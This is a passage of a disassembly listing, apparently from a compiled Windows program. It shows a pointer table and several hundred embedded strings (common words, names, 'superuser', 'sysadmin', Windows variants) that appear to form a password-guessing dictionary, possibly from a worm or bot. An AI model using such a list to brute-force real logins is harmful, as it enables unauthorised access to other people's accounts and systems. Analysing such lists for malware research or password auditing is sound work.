		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C80C
		align 10h
dword_4313B0	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:004313A4o
		align 10h
aZap		db 'zap',0              ; DATA XREF: ___:004313A0o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:0043139Co
aXyz		db 'xyz',0              ; DATA XREF: ___:00431398o
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00431394o
		align 10h
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00431390o
		align 10h
aWholesale	db 'wholesale',0        ; DATA XREF: ___:0043138Co
		align 4
aTty		db 'tty',0              ; DATA XREF: ___:00431388o
aTopography	db 'topography',0       ; DATA XREF: ___:00431384o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: ___:00431380o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:0043137Co
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:00431378o
		align 10h
aSys		db 'sys',0              ; DATA XREF: ___:00431374o
aSupported	db 'supported',0        ; DATA XREF: ___:00431370o
		align 10h
aSuperuser	db 'superuser',0        ; DATA XREF: ___:0043136Co
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: ___:00431368o
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:00431364o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00431360o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:0043135Co
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:00431358o
		align 10h
aSignature	db 'signature',0        ; DATA XREF: ___:00431354o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00431350o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:0043134Co
aRochester	db 'rochester',0        ; DATA XREF: ___:00431348o
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:00431344o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00431340o
		align 4
aPub		db 'pub',0              ; DATA XREF: ___:0043133Co
aProfessor	db 'professor',0        ; DATA XREF: ___:00431338o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00431334o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:00431330o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:0043132Co
		align 10h
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:00431328o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: ___:00431324o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:00431320o
aPad		db 'pad',0              ; DATA XREF: ___:0043131Co
aOceanography	db 'oceanography',0     ; DATA XREF: ___:00431318o
		align 10h
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00431314o
		align 4
aNew		db 'new',0              ; DATA XREF: ___:00431310o
aNet		db 'net',0              ; DATA XREF: ___:0043130Co
aMit		db 'mit',0              ; DATA XREF: ___:00431308o
aMgr		db 'mgr',0              ; DATA XREF: ___:00431304o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00431300o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:004312FCo
aLee		db 'lee',0              ; DATA XREF: ___:004312F8o
aLamination	db 'lamination',0       ; DATA XREF: ___:004312F4o
		align 4
aKim		db 'kim',0              ; DATA XREF: ___:004312F0o
aJoy		db 'joy',0              ; DATA XREF: ___:004312E8o
aJen		db 'jen',0              ; DATA XREF: ___:004312E4o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:004312E0o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:004312DCo
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: ___:004312D8o
aHappening	db 'happening',0        ; DATA XREF: ___:004312D4o
		align 10h
aHal		db 'hal',0              ; DATA XREF: ___:004312D0o
aGnu		db 'gnu',0              ; DATA XREF: ___:004312CCo
aFun		db 'fun',0              ; DATA XREF: ___:004312C8o
aForesight	db 'foresight',0        ; DATA XREF: ___:004312C4o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:004312C0o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:004312BCo
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: ___:004312B8o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:004312B4o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:004312B0o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:004312ACo
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:004312A8o
		align 4
aDos		db 'dos',0              ; DATA XREF: ___:004312A4o
aDog		db 'dog',0              ; DATA XREF: ___:004312A0o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:0043129Co
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: ___:00431298o
		align 4
aDeb		db 'deb',0              ; DATA XREF: ___:00431294o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00431290o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: ___:0043128Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: ___:00431288o
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:00431284o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: ___:00431280o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: ___:0043127Co
		align 4
aCat		db 'cat',0              ; DATA XREF: ___:00431278o
aCampanile	db 'campanile',0        ; DATA XREF: ___:00431274o
		align 4
aCad		db 'cad',0              ; DATA XREF: ___:00431270o
aBsd		db 'bsd',0              ; DATA XREF: ___:0043126Co
aBob		db 'bob',0              ; DATA XREF: ___:00431268o
aBicameral	db 'bicameral',0        ; DATA XREF: ___:00431264o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:00431260o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:0043125Co
		align 4
aAsm		db 'asm',0              ; DATA XREF: ___:00431258o
aAsd		db 'asd',0              ; DATA XREF: ___:00431254o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:00431250o
		align 10h
aAnn		db 'ann',0              ; DATA XREF: ___:0043124Co
aAndromache	db 'andromache',0       ; DATA XREF: ___:00431248o
		align 10h
aAmy		db 'amy',0              ; DATA XREF: ___:00431244o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:00431240o
		align 10h
aAma		db 'ama',0              ; DATA XREF: ___:0043123Co
aAlf		db 'alf',0              ; DATA XREF: ___:00431238o
aAlbatross	db 'albatross',0        ; DATA XREF: ___:00431234o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:00431230o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:0043122Co
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:00431228o
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:00431224o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: ___:00431220o
		align 10h
aHax		db 'hax',0              ; DATA XREF: ___:0043121Co
aWh0re		db 'wh0re',0            ; DATA XREF: ___:00431218o
		align 4
aHo		db 'ho',0               ; DATA XREF: ___:00431214o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00431210o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:0043120Co
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:00431208o
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:00431204o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00431200o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:004311FCo
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:004311F8o
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: ___:004311F4o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:004311F0o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:004311ECo
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:004311E8o
		align 10h
aMs		db 'MS',0               ; DATA XREF: ___:004311E4o
		align 4
aM		db 'M$',0               ; DATA XREF: ___:004311E0o
		align 4
aBilly		db 'billy',0            ; DATA XREF: ___:004311DCo
		align 10h
aWindose	db 'windose',0          ; DATA XREF: ___:004311D8o
aWindoze	db 'windoze',0          ; DATA XREF: ___:004311D4o
aWindowz	db 'windowz',0          ; DATA XREF: ___:004311D0o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:004311CCo
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:004311C8o
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: ___:004311C4o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: ___:004311C0o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:004311BCo
		align 4
aDudette	db 'dudette',0          ; DATA XREF: ___:004311B8o
aD00d		db 'd00d',0             ; DATA XREF: ___:004311B4o
		align 4
aLol		db 'lol',0              ; DATA XREF: ___:004311B0o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:004311ACo
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:004311A8o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: ___:004311A4o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: ___:004311A0o
		align 4
aTestin		db 'testin',0           ; DATA XREF: ___:0043119Co
		align 10h
aTester		db 'tester',0           ; DATA XREF: ___:00431198o
		align 4
a00000000	db '00000000',0         ; DATA XREF: ___:00431194o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00431190o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: ___:0043118Co
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:00431188o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:00431184o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: ___:00431180o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:0043117Co
		align 4
aZebra		db 'zebra',0            ; DATA XREF: ___:00431178o
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:00431174o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: ___:00431170o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: ___:0043116Co
aYellowst	db 'yellowst',0         ; DATA XREF: ___:00431168o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: ___:00431164o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:00431160o
		align 4
aYang		db 'yang',0             ; DATA XREF: ___:0043115Co
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:00431158o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:00431154o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:00431150o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: ___:0043114Co
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:00431148o
		align 4
aXman		db 'xman',0             ; DATA XREF: ___:00431144o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:00431140o
		align 4
aXena		db 'xena',0             ; DATA XREF: ___:0043113Co
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:00431138o
aWwii		db 'wwii',0             ; DATA XREF: ___:00431134o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:00431130o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: ___:0043112Co
		align 4
aWork		db 'work',0             ; DATA XREF: ___:00431128o
		align 10h
aWorf		db 'worf',0             ; DATA XREF: ___:00431124o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00431120o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:0043111Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:00431118o
		align 4
aWood		db 'wood',0             ; DATA XREF: ___:00431114o
		align 10h
aWomen		db 'women',0            ; DATA XREF: ___:00431110o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: ___:0043110Co
		align 10h
aWoman		db 'woman',0            ; DATA XREF: ___:00431108o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: ___:00431104o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00431100o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: ___:004310FCo
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:004310F8o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: ___:004310F4o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:004310F0o
		align 10h
aWired		db 'wired',0            ; DATA XREF: ___:004310ECo
		align 4
aWinston	db 'winston',0          ; DATA XREF: ___:004310E8o
aWing		db 'wing',0             ; DATA XREF: ___:004310E4o
		align 4
aWine		db 'wine',0             ; DATA XREF: ___:004310E0o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:004310DCo
aWilma		db 'wilma',0            ; DATA XREF: ___:004310D8o
		align 10h
aWillie		db 'willie',0           ; DATA XREF: ___:004310D4o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: ___:004310D0o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:004310CCo
aWill		db 'will',0             ; DATA XREF: ___:004310C8o
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:004310C4o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: ___:004310C0o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: ___:004310BCo
aWhiting	db 'whiting',0          ; DATA XREF: ___:004310B8o
aWhite		db 'white',0            ; DATA XREF: ___:004310B4o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: ___:004310B0o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:004310ACo
aWhatever	db 'whatever',0         ; DATA XREF: ___:004310A8o
		align 4
aWestern	db 'western',0          ; DATA XREF: ___:004310A4o
aWest		db 'west',0             ; DATA XREF: ___:004310A0o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:0043109Co
		align 4
